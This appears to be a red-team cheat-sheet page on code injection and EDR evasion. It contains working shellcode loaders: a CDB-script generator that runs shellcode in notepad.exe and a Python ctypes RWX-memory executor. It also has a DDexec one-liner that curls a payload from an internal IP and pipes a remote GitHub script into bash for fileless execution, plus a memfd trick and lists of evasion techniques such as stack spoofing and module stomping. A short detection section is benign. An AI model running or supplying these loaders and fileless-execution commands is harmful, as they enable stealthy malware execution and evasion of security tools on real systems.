Code Injection

Shellcode as Function

cdb.exe (Debugging Tools for Windows)

Convert raw shellcode to a CDB script:

cdb.py
import sys

with open(sys.argv[1], 'rb') as f:
	shellcode = f.read()

arr = [f';eb @$t0+{hex(i)[2:].zfill(2)} {hex(b)[2:].zfill(2).upper()}' for i, b in enumerate(shellcode)]

with open('out.wds', 'w') as f:
	f.write(f'.foreach /pS 5 (register {{.dvalloc {len(shellcode)}}}) {{r @$t0 = register}}\n')
	f.write('\n'.join([''.join(arr[i:i+16]) for i in range(0, len(arr), 16)]) + '\n')
	f.write('r @$ip=@$t0\n')
	f.write('g\n')

Run the shellcode in the debugged process:

Cmd > py .\cdb.py calc.bin
Cmd > cdb.exe -pd -cf .\out.wds -o notepad.exe

Linux In-Memory Code Execution

Memory Manipulation with Python

Convert an ELF to PIC, inject it and run from memory:

$ gcc hello.c -fno-stack-protector -fPIE -fpic -static --entry=main -o hello
$ python3 -m shelf --input hello
$ python3 run_sc.py
run_sc.py
# https://blog.sektor7.net/#!res/2018/pure-in-memory-linux.md#Python

from ctypes import (CDLL, c_void_p, c_size_t, c_int, c_long, memmove, CFUNCTYPE, cast, pythonapi)
from ctypes.util import find_library

PROT_READ = 0x01
PROT_WRITE = 0x02
PROT_EXEC = 0x04
MAP_PRIVATE = 0x02
MAP_ANONYMOUS = 0x20

with open('hellointel_x64.out.shell', 'rb') as f:
	sc = f.read()

libc = CDLL(find_library('c'))

mmap = libc.mmap
mmap.argtypes = [c_void_p, c_size_t, c_int, c_int, c_int, c_size_t]
mmap.restype = c_void_p
page_size = pythonapi.getpagesize()
sc_size = len(sc)

mem_size = page_size * (1 + sc_size / page_size)
cptr = mmap(0, int(mem_size), PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0)

memmove(cptr, sc, sc_size)
sc = CFUNCTYPE(c_void_p, c_void_p)
call_sc = cast(cptr, sc)
call_sc(None)

DDexec

Run binaries from memory without touching the disk:

$1 base64 /bin/ls -w0 > ls.b64
$2 curl -sS 10.10.13.37/ls.b64 | bash <(curl -sSL https://github.com/arget13/DDexec/raw/main/ddexec.sh) /bin/NonExistentBinary -la

Another trick to do semi-fileless ELF execution with a pre-created process descriptor:

$ python3 -c 'import os;os.fork()or(os.setsid(),print(f"/proc/{os.getpid()}/fd/{os.memfd_create(str())}"),os.kill(os.getpid(),19))'
$ cat /usr/bin/date > /proc/1732982/fd/4
$ /proc/1732982/fd/4

Tools

Non-Standard GetModuleHandle/GetProcAddress

RtlRemoteCall

DLL Hollowing / Module Stomping

Variations of (Phantom) DLL Hollowing

Advanced Module Stomping

Module Overloading

Module Shifting

Process Stomping

Module Stomping in C#

Function Stomping / Threadless Injection

ThreadlessInject

Thread Pools (PoolParty)

VEH (Vectored Exception Handling)

Early Cascade

Thread Name-Calling Injection

Waiting Thread Hijacking

Control Flow Hijacking (Data Pointers)

Shellcode In-Memory Fluctuation (Obfuscate and Sleep)

gargoyle

Memory Scanners

PS > curl https://github.com/forrest-orr/moneta/releases/download/1.0/Moneta64.exe -o Moneta64.exe
PS > .\Moneta64.exe -p ((Get-Process notepad).Id) -m region --address 0xd34dc0d31000

Return Address / Call Stack Spoofing

Return Address Spoofing

ThreadStackSpoofer

An alternative way to get the nearest return address in current stack frame (besides _ReturnAddress and _AddressOfReturnAddress) without manually walking the stack:

retaddr.cpp
#include <intrin.h>
#include <windows.h>
#include <iostream>
#include <sstream>
#include <iomanip>

// https://github.com/mgeeky/ThreadStackSpoofer/blob/f67caea38a7acdb526eae3aac7c451a08edef6a9/ThreadStackSpoofer/header.h#L38-L45
template<class... Args>
void log(Args... args)
{
    std::stringstream oss;
    (oss << ... << args);
    std::cout << oss.str() << std::endl;
}

// https://github.com/mgeeky/ThreadStackSpoofer/blob/f67caea38a7acdb526eae3aac7c451a08edef6a9/ThreadStackSpoofer/main.cpp#L13-L14
void addressOfReturnAddress() {
    auto pRetAddr = (PULONG_PTR)_AddressOfReturnAddress(); // https://doxygen.reactos.org/d6/d8c/intrin__ppc_8h_source.html#l00040
    log("Original return address via _AddressOfReturnAddress: 0x", std::hex, std::setw(8), std::setfill('0'), *pRetAddr);
}

// https://stackoverflow.com/a/1334586/6253579
void rtlCaptureStackBackTrace() {
    typedef USHORT(WINAPI* CaptureStackBackTraceType)(__in ULONG, __in ULONG, __out PVOID*, __out_opt PULONG);
    CaptureStackBackTraceType RtlCaptureStackBackTrace = (CaptureStackBackTraceType)(GetProcAddress(LoadLibrary("ntdll.dll"), "RtlCaptureStackBackTrace"));

    void* callers[2] = { NULL };
    int count = (RtlCaptureStackBackTrace)(1, 2, callers, NULL);
    log("Original return address via RtlCaptureStackBackTrace: 0x", std::hex, std::setw(8), std::setfill('0'), (DWORD64)callers[0]);
}

int main(int argc, char** argv)
{
    addressOfReturnAddress();
    rtlCaptureStackBackTrace();
    return 0;
}

Call Stack Spoofing

VulcanRaven

SilentMoonwalk

LoudSunRun

DreamWalkers

Proxy DLL Loading / Legit API Proxying

Hook NtCreateSection

Avoid PsSetCreateThreadNotifyRoutine

ntdll!Ldrp* Shenanigans

EDR Preloading

Shellcode Encryption

SystemFunction032 / SystemFunction033

SystemFunction040 / SystemFunction041

Shellcode Execution via Callbacks

PE to Shellcode

sRDI

Donut

Python

AV / EDR Evasion

InflativeLoading

Crystal Palace

PE Injection

Backdoor Legit PE

SuperMega

Detection

Show P/Invoke imports in a .NET assembly with System.Reflection.Metadata and PowerShell Core (stolen from 1, 2):

$assembly = "\path\to\csharp\binary.exe"
$stream = [System.IO.File]::OpenRead($assembly)
$peReader = [System.Reflection.PortableExecutable.PEReader]::new($stream, [System.Reflection.PortableExecutable.PEStreamOptions]::LeaveOpen -bor [System.Reflection.PortableExecutable.PEStreamOptions]::PrefetchMetadata)
$metadataReader = [System.Reflection.Metadata.PEReaderExtensions]::GetMetadataReader($peReader)
$assemblyDefinition = $metadataReader.GetAssemblyDefinition()

foreach($typeHandler in $metadataReader.TypeDefinitions) {
    $typeDef = $metadataReader.GetTypeDefinition($typeHandler)
    foreach($methodHandler in $typeDef.GetMethods()) {
        $methodDef = $metadataReader.GetMethodDefinition($methodHandler)

        $import = $methodDef.GetImport()
        if ($import.Module.IsNil) {
            continue
        }

        $dllImportFuncName = $metadataReader.GetString($import.Name)
        $dllImportParameters = $import.Attributes.ToString()
        $dllImportPath = $metadataReader.GetString($metadataReader.GetModuleReference($import.Module).Name)
        Write-Host "$dllImportPath, $dllImportParameters`n$dllImportFuncName`n"
    }
}

Another method with a PowerShell one-liner:

([System.Reflection.Assembly]::LoadFile("\path\to\csharp\binary.exe")).GetTypes() | % {$_.GetMethods([Reflection.BindingFlags]::Public -bxor [Reflection.BindingFlags]::NonPublic -bxor [Reflection.BindingFlags]::Static) | ? {$_.Attributes -band [Reflection.MethodAttributes]::PinvokeImpl}} | fl -Property Name,DeclaringType,CustomAttributes

Tools

Last updated